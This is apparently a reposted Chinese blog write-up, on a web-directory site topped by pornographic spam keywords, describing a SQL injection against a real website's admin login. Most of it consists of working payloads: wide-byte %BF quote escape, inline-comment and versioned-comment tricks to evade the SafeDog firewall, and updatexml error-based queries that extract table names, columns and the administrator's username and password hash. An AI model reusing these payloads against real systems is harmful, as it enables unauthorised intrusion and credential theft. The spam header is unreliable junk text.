日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網(wǎng)為廣大站長提供免費收錄網(wǎng)站服務,提交前請做好本站友鏈:【 網(wǎng)站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

前言

最近在挖補天的src,然后挖出了不少SQL注入,完了出了數(shù)據(jù)庫名就不管那么多提交了。今天挖了個報錯注入的,突然一激靈,說我不能這樣頹廢下去了,剛好是個后臺登錄的界面,我決心要登進它的后臺。

記一次艱難的SQL注入(過安全狗)

 

2.1 注入測試

 

bp抓包,加單引號,沒有什么用

記一次艱難的SQL注入(過安全狗)

 

很顯然,這里開啟了php的魔術函數(shù),把單引號自動轉義了

 

2.1.1 繞過第一式:漢字雙字節(jié)編碼繞過單引號

 

當開啟了魔術函數(shù)過濾了引號時,可以在引號前加上一個漢字雙字節(jié)編碼,可以實現(xiàn)繞過

 

例如構造Payload為:

 

username=%BF'

 

%BF解碼之后是中文亂碼

 

此時發(fā)送數(shù)據(jù)包

記一次艱難的SQL注入(過安全狗)

 


記一次艱難的SQL注入(過安全狗)

 

可以看到SQL語句變成:

 

SELECT * FROM `sl_admin` WHERE `username`='¿''

 

成功過濾單引號

 

程序報錯,考慮使用爆錯注入

 

3.1 獲取數(shù)據(jù)庫

既然想進后臺,就需要賬號密碼,就要注數(shù)據(jù)庫,表名,列名,內(nèi)容

 

第一步是注出數(shù)據(jù)庫,版本,用戶等基本信息

 

先把Payload放出來,再進行講解

 

Payload:

 

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#

 

記一次艱難的SQL注入(過安全狗)

 

數(shù)據(jù)庫名不能放出來,在本文中用test_db代替

 

用這個Payload成功注出了數(shù)據(jù)庫,因而版本信息,當前用戶只是改一個值的事,在這里也放出來

 

數(shù)據(jù)庫:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#
用戶:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(user()),0x7e),1)#
版本:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(version()),0x7e),1)#

 

3.1.1 繞過第二式:注釋

再第一個繞過那里,可以看到SQL語句后面還多了個單引號。這個單引號要么把它閉合,要么就注釋掉。由于這里開啟了魔術函數(shù),所以選擇注釋。

 

我原本是想用 –+ 來注釋的,但是網(wǎng)站用了安全狗,所以加號被干掉了,那就只能用 # 注釋了。

 

注釋成功,很簡單,沒什么好說的

記一次艱難的SQL注入(過安全狗)

 

3.1.2 繞過第三式:內(nèi)聯(lián)注釋繞過空格

安全狗把空格干掉了

 

空格或者加號都會被干掉

記一次艱難的SQL注入(過安全狗)

 

當空格和加號都被干掉時,可以用內(nèi)聯(lián)注釋 /**/ 代替實現(xiàn)繞過

 

username=%BF/**/and/**/1'
記一次艱難的SQL注入(過安全狗)

 

4.1 獲取表名

再得到數(shù)據(jù)庫后要獲取表名

 

先把Payload放出來

 

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)#
記一次艱難的SQL注入(過安全狗)

 

管理員表用admin代替,其他表用test_table代替

 

4.1.1 繞過第四式:select過安全狗

注表名需要用select語句,因此我最開始寫的Payload是這樣的:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)#

 

很快啊,被安全狗攔了

記一次艱難的SQL注入(過安全狗)

 

這種select的繞過是最麻煩的,我在嘗試了URL編碼繞過,混淆大小寫繞過,臟數(shù)據(jù)繞過均告失敗后,打開了萬能的百度,看到了這篇文章

 

https://www.cnblogs.com/w-i-n-d/p/8649590.html

 

在該文中,用 /*!50000%53elect*/ 代替select實現(xiàn)繞過

 

我嘗試了一下,成功實現(xiàn)了繞過(見上圖)

 

后來我測試了一下,其他關鍵詞也可以用這種方法繞過

 

select
/*!50000%53elect*/




order 
 /*!50000%6frder*/




union
/*!50000%75nion*/

 

5.1 獲取列名

得到了表名和列名,接下來就是要獲取列名

 

先放Payload:

 

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/7,1),0x7e),1)#

 

5.1.1 繞過第五式:騷操作繞過魔術函數(shù)

按照正常的注入流程,寫出來的Payload應該是這樣的:

 

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/and/**/table_name/**/like/**/'admin'),0x7e),1)#

 

問題在于,魔術函數(shù)干掉了我的單引號

 

于是我就開始各種百度,google,查找怎么繞過魔術函數(shù)

 

Noway

 

就在陷入死胡同時,我靈機一動

 

我在最開始學SQL注入的時候,看到information_schema數(shù)據(jù)庫獲取信息時,專門去看了這個數(shù)據(jù)庫的結構,在columns這個表里有個字段叫 column_name ,是攻擊者需要獲取的信息,有個字段叫 table_schema ,對應的是該字段所在的數(shù)據(jù)庫名,有個字段叫 table_name ,對應的是該字段所在的表名

 

因此,當同時獲取了數(shù)據(jù)庫名和表名時,可以獲取到對應表的所有列名。

 

但是在表數(shù)量少且無法利用表名時,可以只指定數(shù)據(jù)庫名,然后利用 limit 語句獲取當前數(shù)據(jù)庫所有的字段,再通過經(jīng)驗判斷表名

 

例如,我想知道 數(shù)據(jù)庫 test中admin表的內(nèi)容

 

select column_name from information_schema.columns where table_schema like 'test';

 

記一次艱難的SQL注入(過安全狗)

 

這時通過直覺可以判斷出,admin表中的字段是 id username password

 

同理,在該站點中,可以通過這種方法,獲取字段

 

當Payload指定為:

 

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1),0x7e),1)#

 

得到的字段數(shù)為:typeid

記一次艱難的SQL注入(過安全狗)

 

通過修改limit后的值,就可以得到所有的字段,包括admin表中的字段

 

經(jīng)過測試,當值為 7,1 時可以得到字段 username ;當值為 8,1 時可以得到字段 password

記一次艱難的SQL注入(過安全狗)

 


記一次艱難的SQL注入(過安全狗)

 

6.1 爆帳密

得到了以上信息后,爆帳密就很簡單了

 

爆賬號:username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/username/**/from/**/sl_admin),0x7e),1)#
爆密碼:
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,1,31)/**/from/**/sl_admin),0x7e),1)#
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,32,31)/**/from/**/sl_admin),0x7e),1)#

 

因為密碼長度為32,而這里最多只能顯示31為,因此用substr函數(shù)分兩次爆出

 

解密得到賬號密碼

 

登錄成功

記一次艱難的SQL注入(過安全狗)

 

總結

實戰(zhàn)注入的難度比靶場大得多,各種繞過,各種騷操作。

 

要學會利用搜索工具,更要學會選擇性放棄

 

當一條路走不通就換另一種方法,也許就會柳暗花明又一村

————————————————

版權聲明:本文為CSDN博主「漫路在線」

原文鏈接:
https://blog.csdn.net/realmels/article/details/122766147

分享到:
標簽:注入 SQL
用戶無頭像

網(wǎng)友整理

注冊時間:

網(wǎng)站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨大挑戰(zhàn)2018-06-03

數(shù)獨一種數(shù)學游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數(shù)有氧達人2018-06-03

記錄運動步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定